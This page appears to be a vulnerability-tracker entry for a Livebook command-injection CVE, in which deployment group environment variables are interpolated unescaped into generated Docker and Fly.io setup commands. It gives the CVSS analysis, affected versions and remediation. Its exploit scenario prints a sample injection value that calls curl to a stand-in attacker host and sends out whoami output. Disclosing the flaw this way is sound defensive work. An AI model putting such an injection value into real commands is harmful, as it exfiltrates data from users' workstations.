Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Livebook Teams with high-privilege account
-
DeliverySet malicious shell payload in deployment group env var
-
ExploitVictim navigates to deployment group page
-
InstallLivebook generates unescaped Docker or Fly.io command
-
C2Victim copies command from UI
-
ExecuteVictim executes command in local shell
-
ImpactInjected code runs on victim's workstation
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must hold privileges sufficient to write deployment group environment variables within a Livebook Teams hub - this is a High privilege level (PR:H in CVSS). The vulnerable code paths are docker_instructions/2 and fly_instructions/4 specifically; the Kubernetes instruction path is not affected. Execution of the injected payload is not automatic: a secondary user must navigate to the deployment group page, copy the generated setup command, and execute it in a shell on their machine without reviewing the environment variable values embedded in it. Active user interaction (UI:A) is therefore a hard prerequisite. The payload executes on the victim user's local machine, not on the Livebook server - no direct server-side code execution occurs. Exploitation is limited to Livebook versions 0.13.0-0.18.6 and 0.19.0-0.19.8 running the Teams hub feature with at least one deployment group configured. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:H/UI:A/SC:H/SI:H/SA:H) accurately captures the asymmetric threat model: exploitation requires High privileges on the Livebook Teams instance to set deployment group environment variables, and then depends on Active user interaction - a secondary user must copy and run the generated command without reviewing it. There is no impact on the Livebook server itself (VC:N/VI:N/VA:N), but the subsequent system (the operator's workstation running the command) faces High confidentiality, integrity, and availability impact. The AT:P (attack timing: prerequisite) notation reflects that success depends on the victim's behavior. No KEV listing exists and no public exploit has been identified at time of analysis, so real-world risk is constrained primarily by the high privilege bar to inject the payload and the social engineering dependency for execution. EPSS data is not available in the provided intelligence; given the niche deployment footprint and multi-step exploitation path, real-world exploitation probability is judged low despite the high downstream impact. This is a genuine security issue but is not a mass-exploitation candidate - it is most relevant in multi-tenant or shared Livebook Teams environments where a malicious or compromised privileged user could target DevOps operators. |
| Exploit ScenarioDerived | A malicious or compromised Livebook Teams administrator sets a deployment group environment variable to a value containing a shell command substitution such as MY_VAR=$(curl http://attacker.example/exfil?d=$(whoami)). When a DevOps engineer visits the deployment group page, Livebook generates Docker run instructions interpolating this value into a double-quoted shell word without escaping, and displays the command with a prominent copy button. The engineer copies the command and pastes it into their terminal, causing the injected command to execute on their workstation under their own account. No public exploit code has been identified at time of analysis, but the injection technique requires no special tooling beyond setting a malicious environment variable value. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 05, 2026
Remote command injection in livebook-dev Livebook's deployment setup command generator allows an authenticated high-privilege attacker to poison Docker and Fly.io setup commands displayed in the web interface, causing arbitrary shell code to execute on the machine of any user who copies and runs the generated command. Affected versions span 0.13.0 through 0.18.6 and 0.19.0 through 0.19.8. No public exploit has been identified at time of analysis, though the CVSS 4.0 score of 4.9 reflects the high privileges required and the indirect execution path through a secondary user's action.
RemediationAI
Upgrade Livebook to version 0.18.7 or 0.19.9, both of which include the upstream fix. The patch, available via three commits (0c24873, b2a8416, f8fe9c6) and detailed in GHSA-qpjc-w5mm-73mj at https://github.com/livebook-dev/livebook/security/advisories/GHSA-qpjc-w5mm-73mj, introduces shell_quote wrapping for Docker and Fly.io environment variable interpolation in the new Livebook.Teams.DeploymentGroupInstructions module, and adds escape_dockerfile_value/1 to properly escape backslashes and double quotes in Dockerfile ENV lines. If immediate upgrade is not possible, the most effective compensating control is to restrict who can set deployment group environment variables to fully trusted users only, eliminating the attacker's injection point. As a secondary control, instruct all operators to review generated setup commands before executing them, particularly scrutinizing environment variable values for unexpected shell constructs such as $(...) or backticks. There are no known side effects from the patch - only the escaping behavior changes, not the functional output of correctly formed environment variable values.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Livebook is an Elixir-based interactive notebook platform with a Teams product that supports deploying app servers via Docker and Fly.io. The vulnerable code resides in LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent (lib/livebook_web/live/hub/teams/deployment_group_agent_component.ex), specifically the docker_instructions/2 and fly_instructions/4 functions, which call Livebook.Hubs.Dockerfile.online_docker_info/3 to build setup commands. Environment variable key-value pairs sourced from the deployment group configuration are interpolated into double-quoted shell words without shell escaping, violating the expectation that double-quoting in POSIX shells prevents command substitution. CWE-78 (OS Command Injection) applies because user-controlled data reaches a shell command sink without sanitization. The root cause is that $(...) command substitutions and backtick expressions are evaluated by the shell even inside double-quoted strings, and an unescaped literal double quote breaks out of the quoting context entirely. The Kubernetes instruction path is NOT affected because it renders the same values into a YAML manifest with proper escaping. CPE: cpe:2.3:a:livebook-dev:livebook:*:*:*:*:*:*:*:* from 0.13.0 before 0.18.7 and from 0.19.0 before 0.19.9.
Know when Livebook gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
PR:H for required env-var write privileges, UI:R for victim execution, S:C because impact lands on the victim's machine rather than the Livebook server.
Primary rating from Vendor (6b3ad84c-e1a6-4bf7-a703-f496b71e49db).
CVSS VectorVendor: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db
Lifecycle Timeline
1DescriptionCVE.org
Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) vulnerability in livebook-dev livebook allows command injection into generated deployment setup commands.
LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent.docker_instructions/2 and LivebookWeb.Hub.Teams.DeploymentGroupAgentComponent.fly_instructions/4 in lib/livebook_web/live/hub/teams/deployment_group_agent_component.ex interpolate deployment group environment variable values into the generated Docker and Fly.io setup commands without shell escaping. The values originate from the deployment group configuration and reach the sinks through Livebook.Hubs.Dockerfile.online_docker_info/3.
Both sinks place the value inside a double-quoted shell word, so a value containing a command substitution such as $(...) or backticks is evaluated by the shell without any need to break out of the quoting, and a literal double quote terminates the quoted word and allows arbitrary further tokens. The generated command is displayed in the Livebook web interface with a copy button, so a user who copies it and runs it without reviewing it first executes the injected commands on their own machine, under their own account.
An attacker requires privileges sufficient to set deployment group environment variables, while the resulting code execution occurs on the machine of whoever runs the generated command. The Kubernetes instructions are not affected, because they render the same values into a YAML manifest with escaping rather than into a shell command.
This issue affects livebook: from 0.13.0 before 0.18.7 and from 0.19.0 before 0.19.9.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Livebook is a web application for writing interactive and collaborative code notebooks. Rated critical severity (CVSS 9.
Untrusted JavaScript rendered in Livebook notebook outputs can escape the sandboxed cross-origin iframe and trigger sess
Full unauthenticated access to Livebook 0.19.7-0.19.9 is possible when a Livebook Agent or App Server's deployment group
Path traversal in Livebook's notebook import pipeline allows an attacker who supplies a crafted `.livemd` file to write
Session hijacking via OAuth CSRF in Livebook's Livebook Teams identity provider allows an organization-member attacker t
EUVD-2026-53601
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB